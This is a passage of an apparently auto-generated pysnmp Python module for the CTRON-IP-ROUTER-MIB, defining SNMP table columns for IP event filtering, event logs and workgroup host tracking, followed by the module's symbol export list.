nwIpEventFltrSeverity = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("highest", 1), ("highmed", 2), ("highlow", 3))).clone('highest')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpEventFltrSeverity.setStatus('mandatory')
nwIpEventFltrAction = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 2, 1, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("log", 1), ("trap", 2), ("log-trap", 3))).clone('log')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpEventFltrAction.setStatus('mandatory')
nwIpEventTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1), )
if mibBuilder.loadTexts: nwIpEventTable.setStatus('mandatory')
nwIpEventEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpEventNumber"))
if mibBuilder.loadTexts: nwIpEventEntry.setStatus('mandatory')
nwIpEventNumber = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpEventNumber.setStatus('mandatory')
nwIpEventTime = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 2), TimeTicks()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpEventTime.setStatus('mandatory')
nwIpEventType = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 3), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 4, 8, 16, 32, 64))).clone(namedValues=NamedValues(("misc", 1), ("timer", 2), ("rcv", 4), ("xmit", 8), ("event", 16), ("diags", 32), ("error", 64)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpEventType.setStatus('mandatory')
nwIpEventSeverity = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("highest", 1), ("highmed", 2), ("highlow", 3)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpEventSeverity.setStatus('mandatory')
nwIpEventProtocol = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 5), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpEventProtocol.setStatus('mandatory')
nwIpEventIfNum = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 6), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpEventIfNum.setStatus('mandatory')
nwIpEventTextString = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 10, 3, 1, 1, 7), OctetString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpEventTextString.setStatus('mandatory')
nwIpWgDefTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1), )
if mibBuilder.loadTexts: nwIpWgDefTable.setStatus('mandatory')
nwIpWgDefEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpWgDefIdentifier"))
if mibBuilder.loadTexts: nwIpWgDefEntry.setStatus('mandatory')
nwIpWgDefIdentifier = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgDefIdentifier.setStatus('mandatory')
nwIpWgDefHostAddress = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 2), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpWgDefHostAddress.setStatus('mandatory')
nwIpWgDefSubnetMask = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 3), IpAddress()).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpWgDefSubnetMask.setStatus('mandatory')
nwIpWgDefSecurity = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 4), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("none", 1), ("low", 2), ("medium", 3), ("high", 4))).clone('low')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpWgDefSecurity.setStatus('mandatory')
nwIpWgDefFastPath = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3))).clone(namedValues=NamedValues(("other", 1), ("disabled", 2), ("enabled", 3))).clone('enabled')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpWgDefFastPath.setStatus('mandatory')
nwIpWgDefRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("active", 1), ("notInService", 2), ("notReady", 3), ("createAndGo", 4), ("createAndWait", 5), ("destroy", 6))).clone('notReady')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpWgDefRowStatus.setStatus('mandatory')
nwIpWgDefOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 7), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4))).clone(namedValues=NamedValues(("ok", 1), ("disabled", 2), ("subnetConflict", 3), ("internalError", 4)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgDefOperStatus.setStatus('mandatory')
nwIpWgDefNumActiveIntf = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 8), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgDefNumActiveIntf.setStatus('mandatory')
nwIpWgDefNumTotalIntf = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 1, 1, 9), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgDefNumTotalIntf.setStatus('mandatory')
nwIpWgIfTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2), )
if mibBuilder.loadTexts: nwIpWgIfTable.setStatus('mandatory')
nwIpWgIfEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpWgIfDefIdent"), (0, "CTRON-IP-ROUTER-MIB", "nwIpWgIfIfIndex"))
if mibBuilder.loadTexts: nwIpWgIfEntry.setStatus('mandatory')
nwIpWgIfDefIdent = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1, 1), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgIfDefIdent.setStatus('mandatory')
nwIpWgIfIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1, 2), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgIfIfIndex.setStatus('mandatory')
nwIpWgIfNumActiveHosts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1, 3), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgIfNumActiveHosts.setStatus('mandatory')
nwIpWgIfNumKnownHosts = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1, 4), Counter32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgIfNumKnownHosts.setStatus('mandatory')
nwIpWgIfRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("active", 1), ("notInService", 2), ("notReady", 3), ("createAndGo", 4), ("createAndWait", 5), ("destroy", 6))).clone('notInService')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpWgIfRowStatus.setStatus('mandatory')
nwIpWgIfOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 2, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8))).clone(namedValues=NamedValues(("ok", 1), ("disabled", 2), ("workgroupInvalid", 3), ("addressConflict", 4), ("resetRequired", 5), ("linkDown", 6), ("routingDown", 7), ("internalError", 8)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgIfOperStatus.setStatus('mandatory')
nwIpWgRngTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3), )
if mibBuilder.loadTexts: nwIpWgRngTable.setStatus('mandatory')
nwIpWgRngEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpWgRngBegHostAddr"), (0, "CTRON-IP-ROUTER-MIB", "nwIpWgRngEndHostAddr"), (0, "CTRON-IP-ROUTER-MIB", "nwIpWgRngIfIndex"))
if mibBuilder.loadTexts: nwIpWgRngEntry.setStatus('mandatory')
nwIpWgRngBegHostAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1, 1), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgRngBegHostAddr.setStatus('mandatory')
nwIpWgRngEndHostAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1, 2), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgRngEndHostAddr.setStatus('mandatory')
nwIpWgRngIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1, 3), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgRngIfIndex.setStatus('mandatory')
nwIpWgRngPhysAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1, 4), OctetString().clone(hexValue="000000000000")).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpWgRngPhysAddr.setStatus('mandatory')
nwIpWgRngRowStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("active", 1), ("notInService", 2), ("notReady", 3), ("createAndGo", 4), ("createAndWait", 5), ("destroy", 6))).clone('notInService')).setMaxAccess("readwrite")
if mibBuilder.loadTexts: nwIpWgRngRowStatus.setStatus('mandatory')
nwIpWgRngOperStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 3, 1, 6), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6))).clone(namedValues=NamedValues(("ok", 1), ("disabled", 2), ("workgroupInvalid", 3), ("interfaceInvalid", 4), ("physAddrRequired", 5), ("internalError", 6)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgRngOperStatus.setStatus('mandatory')
nwIpWgHostTable = MibTable((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4), )
if mibBuilder.loadTexts: nwIpWgHostTable.setStatus('mandatory')
nwIpWgHostEntry = MibTableRow((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4, 1), ).setIndexNames((0, "CTRON-IP-ROUTER-MIB", "nwIpWgHostHostAddr"), (0, "CTRON-IP-ROUTER-MIB", "nwIpWgHostIfIndex"))
if mibBuilder.loadTexts: nwIpWgHostEntry.setStatus('mandatory')
nwIpWgHostHostAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4, 1, 1), IpAddress()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgHostHostAddr.setStatus('mandatory')
nwIpWgHostIfIndex = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4, 1, 2), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgHostIfIndex.setStatus('mandatory')
nwIpWgHostDefIdent = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4, 1, 3), Integer32()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgHostDefIdent.setStatus('mandatory')
nwIpWgHostPhysAddr = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4, 1, 4), OctetString()).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgHostPhysAddr.setStatus('mandatory')
nwIpWgHostStatus = MibTableColumn((1, 3, 6, 1, 4, 1, 52, 4, 2, 2, 2, 3, 1, 2, 11, 4, 1, 5), Integer32().subtype(subtypeSpec=ConstraintsUnion(SingleValueConstraint(1, 2, 3, 4, 5, 6, 7, 8, 9))).clone(namedValues=NamedValues(("other", 1), ("unknown", 2), ("valid", 3), ("invalid-multiple", 4), ("invalid-physaddr", 5), ("invalid-range", 6), ("invalid-interface", 7), ("invalid-workgroup", 8), ("invalid-expired", 9)))).setMaxAccess("readonly")
if mibBuilder.loadTexts: nwIpWgHostStatus.setStatus('mandatory')
mibBuilder.exportSymbols("CTRON-IP-ROUTER-MIB", nwIpRipIfCtrDiscardBytes=nwIpRipIfCtrDiscardBytes, nwIpOspfCounters=nwIpOspfCounters, nwIpRipIfFloodDelay=nwIpRipIfFloodDelay, nwIpOspfCtrInBytes=nwIpOspfCtrInBytes, nwIpFwdIfCtrInPkts=nwIpFwdIfCtrInPkts, nwIpEventAdminStatus=nwIpEventAdminStatus, nwIpRipRtFlags=nwIpRipRtFlags, nwIpWorkGroup=nwIpWorkGroup, nwIpHostCtlAdminStatus=nwIpHostCtlAdminStatus, nwIpOspfCtrOutPkts=nwIpOspfCtrOutPkts, nwIpRipIfOperStatus=nwIpRipIfOperStatus, nwIpFwdIfCtrTable=nwIpFwdIfCtrTable, nwIpEventProtocol=nwIpEventProtocol, nwIpRipRouteTable=nwIpRipRouteTable, nwIpComponents=nwIpComponents, nwIpRipIfAclStatus=nwIpRipIfAclStatus, nwIpAclProtocol=nwIpAclProtocol, nwIpWgRngIfIndex=nwIpWgRngIfIndex, nwIpWgIfRowStatus=nwIpWgIfRowStatus, nwIpAddrIfAddress=nwIpAddrIfAddress, nwIpEventLogTable=nwIpEventLogTable, nwIpHostsToMedia=nwIpHostsToMedia, nwIpAclEntry=nwIpAclEntry, nwIpFwdCtrHostOutBytes=nwIpFwdCtrHostOutBytes, nwIpFwdIfAclStatus=nwIpFwdIfAclStatus, nwIpOspfOperStatus=nwIpOspfOperStatus, nwIpOspfIfSnooping=nwIpOspfIfSnooping, nwIpHostCtlCacheSize=nwIpHostCtlCacheSize, nwIpEventTime=nwIpEventTime, nwIpAclDestMask=nwIpAclDestMask, nwIpRipAgeOut=nwIpRipAgeOut, nwIpWgHostEntry=nwIpWgHostEntry, nwIpFwdCounters=nwIpFwdCounters, nwIpRipIfRequestDelay=nwIpRipIfRequestDelay, nwIpRipIfCounters=nwIpRipIfCounters, nwIpWgDefNumTotalIntf=nwIpWgDefNumTotalIntf, nwIpWgRngTable=nwIpWgRngTable, nwIpFwdIfCtrEntry=nwIpFwdIfCtrEntry, nwIpFwdIfCtrOutPkts=nwIpFwdIfCtrOutPkts, nwIpWgDefSubnetMask=nwIpWgDefSubnetMask, nwIpOspfOperationalTime=nwIpOspfOperationalTime, nwIpEventFilterTable=nwIpEventFilterTable, nwIpRipIfCtrInBytes=nwIpRipIfCtrInBytes, nwIpRipOperationalTime=nwIpRipOperationalTime, nwIpSysConfig=nwIpSysConfig, nwIpOspfIfAdminStatus=nwIpOspfIfAdminStatus, nwIpFwdCtrFwdPkts=nwIpFwdCtrFwdPkts, nwIpFwdCtrFwdBytes=nwIpFwdCtrFwdBytes, nwIpRipRoutePriority=nwIpRipRoutePriority, nwIpOspfIfAclIdentifier=nwIpOspfIfAclIdentifier, nwIpSystem=nwIpSystem, nwIpFwdCtrDiscardBytes=nwIpFwdCtrDiscardBytes, nwIpFwdCtrFilteredPkts=nwIpFwdCtrFilteredPkts, nwIpRipDatabase=nwIpRipDatabase, nwIpStaticRoutePriority=nwIpStaticRoutePriority, nwIpOspfFibControl=nwIpOspfFibControl, nwIpOSPFRoutePriority=nwIpOSPFRoutePriority, nwIpHostMapPhysAddr=nwIpHostMapPhysAddr, nwIpRedirectorInterface=nwIpRedirectorInterface, nwIpOspfFilters=nwIpOspfFilters, nwIpEventEntry=nwIpEventEntry, nwIpRipCtrOperationalTime=nwIpRipCtrOperationalTime, nwIpRipCtrOutBytes=nwIpRipCtrOutBytes, nwIpOspfCtrAdminStatus=nwIpOspfCtrAdminStatus, nwIpRipRtType=nwIpRipRtType, nwIpRipCtrOutPkts=nwIpRipCtrOutPkts, nwIpEventType=nwIpEventType, nwIpRipIfCtrOutPkts=nwIpRipIfCtrOutPkts, nwIpAclDestAddress=nwIpAclDestAddress, nwIpRipStackSize=nwIpRipStackSize, nwIpRipIfHelloTimer=nwIpRipIfHelloTimer, nwIpRouter=nwIpRouter, nwIpSysAdminStatus=nwIpSysAdminStatus, nwIpRedirectPort=nwIpRedirectPort, nwIpWgDefSecurity=nwIpWgDefSecurity, nwIpRipRtHops=nwIpRipRtHops, nwIpFwdIfCtrAddrErrPkts=nwIpFwdIfCtrAddrErrPkts, nwIpFwdIfCacheHits=nwIpFwdIfCacheHits, nwIpAclPortNumber=nwIpAclPortNumber, nwIpWgHostStatus=nwIpWgHostStatus, nwIpHostMapCircuitID=nwIpHostMapCircuitID, nwIpRipCtrInBytes=nwIpRipCtrInBytes, nwIpWgRngEndHostAddr=nwIpWgRngEndHostAddr, nwIpEventTraceAll=nwIpEventTraceAll, nwIpWgDefNumActiveIntf=nwIpWgDefNumActiveIntf, nwIpRedirectorSystem=nwIpRedirectorSystem, nwIpForwarding=nwIpForwarding, nwIpOspfAdminStatus=nwIpOspfAdminStatus, nwIpWgHostIfIndex=nwIpWgHostIfIndex, nwIpWgIfIfIndex=nwIpWgIfIfIndex, nwIpRipInterfaces=nwIpRipInterfaces, nwIpFwdIfCtrHostInBytes=nwIpFwdIfCtrHostInBytes, nwIpLinkState=nwIpLinkState, nwIpFwdIfCtrOperationalTime=nwIpFwdIfCtrOperationalTime, nwIpFwdCtrHostInBytes=nwIpFwdCtrHostInBytes, nwIpWgDefOperStatus=nwIpWgDefOperStatus, nwIpFwdIfConfig=nwIpFwdIfConfig, nwIpFwdCtrReset=nwIpFwdCtrReset, nwIpRipIfType=nwIpRipIfType, nwIpFwdCtrHostInPkts=nwIpFwdCtrHostInPkts, nwIpFwdIfCtrHostOutBytes=nwIpFwdIfCtrHostOutBytes, nwIpOspfIfCtrOperationalTime=nwIpOspfIfCtrOperationalTime, nwIpEventFltrIfNum=nwIpEventFltrIfNum, nwIpFwdIfAdminStatus=nwIpFwdIfAdminStatus, nwIpMibRevText=nwIpMibRevText, nwIpWgIfNumKnownHosts=nwIpWgIfNumKnownHosts, nwIpHostCtlIfIndex=nwIpHostCtlIfIndex, nwIpWgRngEntry=nwIpWgRngEntry, nwIpWgRngBegHostAddr=nwIpWgRngBegHostAddr, nwIpRipIfAdvertisement=nwIpRipIfAdvertisement, nwIpOspfSystem=nwIpOspfSystem, nwIpOspfBgp4Table=nwIpOspfBgp4Table, nwIpRedirectType=nwIpRedirectType, nwIpHostCtlEntry=nwIpHostCtlEntry, nwIpHostCtlNumStatics=nwIpHostCtlNumStatics, nwIpOspfCtrInPkts=nwIpOspfCtrInPkts, nwIpHostCtlOperStatus=nwIpHostCtlOperStatus, nwIpAclTable=nwIpAclTable, nwIpAddrIfBcastAddr=nwIpAddrIfBcastAddr, nwIpFwdIfMtu=nwIpFwdIfMtu, nwIpOspfIfCtrReset=nwIpOspfIfCtrReset, nwIpFwdIfIndex=nwIpFwdIfIndex, nwIpEventFltrProtocol=nwIpEventFltrProtocol, nwIpFwdIfCtrFwdBytes=nwIpFwdIfCtrFwdBytes, nwIpRipIfOperationalTime=nwIpRipIfOperationalTime, nwIpOspfIfCtrFilteredBytes=nwIpOspfIfCtrFilteredBytes, nwIpRedirectEntry=nwIpRedirectEntry, nwIpAccessControl=nwIpAccessControl, nwIpOspfAdminReset=nwIpOspfAdminReset, nwIpOspfCtrReset=nwIpOspfCtrReset, nwIpHostCtlProtocol=nwIpHostCtlProtocol, nwIpOspfIfOperStatus=nwIpOspfIfOperStatus, nwIpWgDefEntry=nwIpWgDefEntry, nwIpWgIfEntry=nwIpWgIfEntry, nwIpHostsTimeToLive=nwIpHostsTimeToLive, nwIpOspfIfEntry=nwIpOspfIfEntry, nwIpOspfIfCtrInBytes=nwIpOspfIfCtrInBytes, nwIpRipCtrFilteredPkts=nwIpRipCtrFilteredPkts, nwIpOspfCtrOutBytes=nwIpOspfCtrOutBytes, nwIpRipCtrDiscardPkts=nwIpRipCtrDiscardPkts, nwIpEndSystems=nwIpEndSystems, nwIpFwdIfCounters=nwIpFwdIfCounters, nwIpEventFltrAction=nwIpEventFltrAction, nwIpEvent=nwIpEvent, nwIpOspfIfCounters=nwIpOspfIfCounters, nwIpHostMapTable=nwIpHostMapTable, nwIpRipIfCtrOutBytes=nwIpRipIfCtrOutBytes, nwIpEventLogConfig=nwIpEventLogConfig, nwIpFwdIfCtrReset=nwIpFwdIfCtrReset, nwIpWgHostHostAddr=nwIpWgHostHostAddr, nwIpHostMapPortNumber=nwIpHostMapPortNumber, nwIpFwdCtrAddrErrPkts=nwIpFwdCtrAddrErrPkts, nwIpOspfIfCtrOutPkts=nwIpOspfIfCtrOutPkts, nwIpFwdIfCtrHdrErrPkts=nwIpFwdIfCtrHdrErrPkts, nwIpHostCtlProxy=nwIpHostCtlProxy, nwIpRipCtrDiscardBytes=nwIpRipCtrDiscardBytes, nwIpRipIfCtrReset=nwIpRipIfCtrReset, nwIpFwdIfCtrHostOutPkts=nwIpFwdIfCtrHostOutPkts, nwIpFwdIfOperationalTime=nwIpFwdIfOperationalTime, nwIpFwdCtrOperationalTime=nwIpFwdCtrOperationalTime, nwIpFibSystem=nwIpFibSystem, nwIpRipCtrFilteredBytes=nwIpRipCtrFilteredBytes, nwIpOspfIfIndex=nwIpOspfIfIndex, nwIpOspfStaticMetric=nwIpOspfStaticMetric, nwIpClientServices=nwIpClientServices, nwIpMibs=nwIpMibs, nwIpRipCtrAdminStatus=nwIpRipCtrAdminStatus, nwIpRipIfPriority=nwIpRipIfPriority, nwIpHostCtlTable=nwIpHostCtlTable, nwIpHostCtlCacheMax=nwIpHostCtlCacheMax, nwIpFwdCtrAdminStatus=nwIpFwdCtrAdminStatus, nwIpFwdIfFrameType=nwIpFwdIfFrameType, nwIpOspfCtrFilteredBytes=nwIpOspfCtrFilteredBytes, nwIpOspfStaticStatus=nwIpOspfStaticStatus, nwIpRedirectAddress=nwIpRedirectAddress, nwIpAclMatches=nwIpAclMatches, nwIpOspfIfCtrFilteredPkts=nwIpOspfIfCtrFilteredPkts, nwIpOspfDatabase=nwIpOspfDatabase, nwIpRipIfPoisonReverse=nwIpRipIfPoisonReverse, nwIpRipIfAdminStatus=nwIpRipIfAdminStatus, nwIpFwdIfCtrFilteredBytes=nwIpFwdIfCtrFilteredBytes, nwIpRipIfAclIdentifier=nwIpRipIfAclIdentifier, nwIpAddressTable=nwIpAddressTable, nwIpTopology=nwIpTopology, nwIpRipAdminReset=nwIpRipAdminReset, nwIpRipIfCtrFilteredPkts=nwIpRipIfCtrFilteredPkts, nwIpSysOperStatus=nwIpSysOperStatus, nwIpFwdIfTable=nwIpFwdIfTable, nwIpWgDefHostAddress=nwIpWgDefHostAddress, nwIpFwdIfForwarding=nwIpFwdIfForwarding, nwIpOspfIfCtrIfIndex=nwIpOspfIfCtrIfIndex, nwIpOspfIfCtrDiscardPkts=nwIpOspfIfCtrDiscardPkts, nwIpOspfIfOperationalTime=nwIpOspfIfOperationalTime, nwIpHostMapEntry=nwIpHostMapEntry, nwIpRipIfCtrIfIndex=nwIpRipIfCtrIfIndex, nwIpEventTable=nwIpEventTable, nwIpAclSequence=nwIpAclSequence, nwIpFwdIfCacheEntries=nwIpFwdIfCacheEntries, nwIpRipIfTable=nwIpRipIfTable, nwIpOspfStackSize=nwIpOspfStackSize, nwIpAclSrcMask=nwIpAclSrcMask, nwIpRipIfSnooping=nwIpRipIfSnooping, nwIpRipCounters=nwIpRipCounters, nwIpOspfIfCtrEntry=nwIpOspfIfCtrEntry, nwIpRipIfCtrEntry=nwIpRipIfCtrEntry, nwIpFwdCtrDiscardPkts=nwIpFwdCtrDiscardPkts, nwIpFwdIfCtrIfIndex=nwIpFwdIfCtrIfIndex, nwIpWgIfNumActiveHosts=nwIpWgIfNumActiveHosts, nwIpFwdInterfaces=nwIpFwdInterfaces, nwIpFwdIfControl=nwIpFwdIfControl, nwIpEventLogFilterTable=nwIpEventLogFilterTable, nwIpRipIfSplitHorizon=nwIpRipIfSplitHorizon, nwIpEventFltrType=nwIpEventFltrType, nwIpRipRtSrcNode=nwIpRipRtSrcNode, nwIpWgIfTable=nwIpWgIfTable, nwIpHostMapIpAddr=nwIpHostMapIpAddr, nwIpRipOperStatus=nwIpRipOperStatus, nwIpFwdCtrInBytes=nwIpFwdCtrInBytes, nwIpAclIdentifier=nwIpAclIdentifier, nwIpFwdIfAclIdentifier=nwIpFwdIfAclIdentifier, nwIpHostsRetryCount=nwIpHostsRetryCount, nwIpHostsSystem=nwIpHostsSystem, nwIpOspfInterfaces=nwIpOspfInterfaces, nwIpOspfIfCtrOutBytes=nwIpOspfIfCtrOutBytes, nwIpOspfLeakAllStaticRoutes=nwIpOspfLeakAllStaticRoutes, nwIpFwdIfCacheControl=nwIpFwdIfCacheControl, nwIpRipRouteEntry=nwIpRipRouteEntry, nwIpOspfIfCtrInPkts=nwIpOspfIfCtrInPkts, nwIpRipIfCtrInPkts=nwIpRipIfCtrInPkts, nwIpWgIfDefIdent=nwIpWgIfDefIdent, nwIpWgRngRowStatus=nwIpWgRngRowStatus, nwIpFwdCtrInPkts=nwIpFwdCtrInPkts, nwIpRedirectTable=nwIpRedirectTable, nwIpOspfForward=nwIpOspfForward, nwIpOspfIfCtrAdminStatus=nwIpOspfIfCtrAdminStatus, nwIpSysAdminReset=nwIpSysAdminReset, nwIpRipRtIfIndex=nwIpRipRtIfIndex, nwIpFib=nwIpFib, nwIpSysVersion=nwIpSysVersion, nwIpOspfCtrDiscardPkts=nwIpOspfCtrDiscardPkts, nwIpRipDatabaseThreshold=nwIpRipDatabaseThreshold, nwIpHostMapType=nwIpHostMapType, nwIpEventIfNum=nwIpEventIfNum, nwIpRedirectCount=nwIpRedirectCount, nwIpOspfStaticForwardMask=nwIpOspfStaticForwardMask, nwIpHostCtlCacheHits=nwIpHostCtlCacheHits, nwIpEventSeverity=nwIpEventSeverity, nwIpRipIfCtrFilteredBytes=nwIpRipIfCtrFilteredBytes, nwIpRipIfCtrTable=nwIpRipIfCtrTable, nwIpAclSrcAddress=nwIpAclSrcAddress, nwIpOspfIfTable=nwIpOspfIfTable, nwIpHostMapIfIndex=nwIpHostMapIfIndex, nwIpOspfIfVersion=nwIpOspfIfVersion, nwIpHostCtlOperationalTime=nwIpHostCtlOperationalTime)
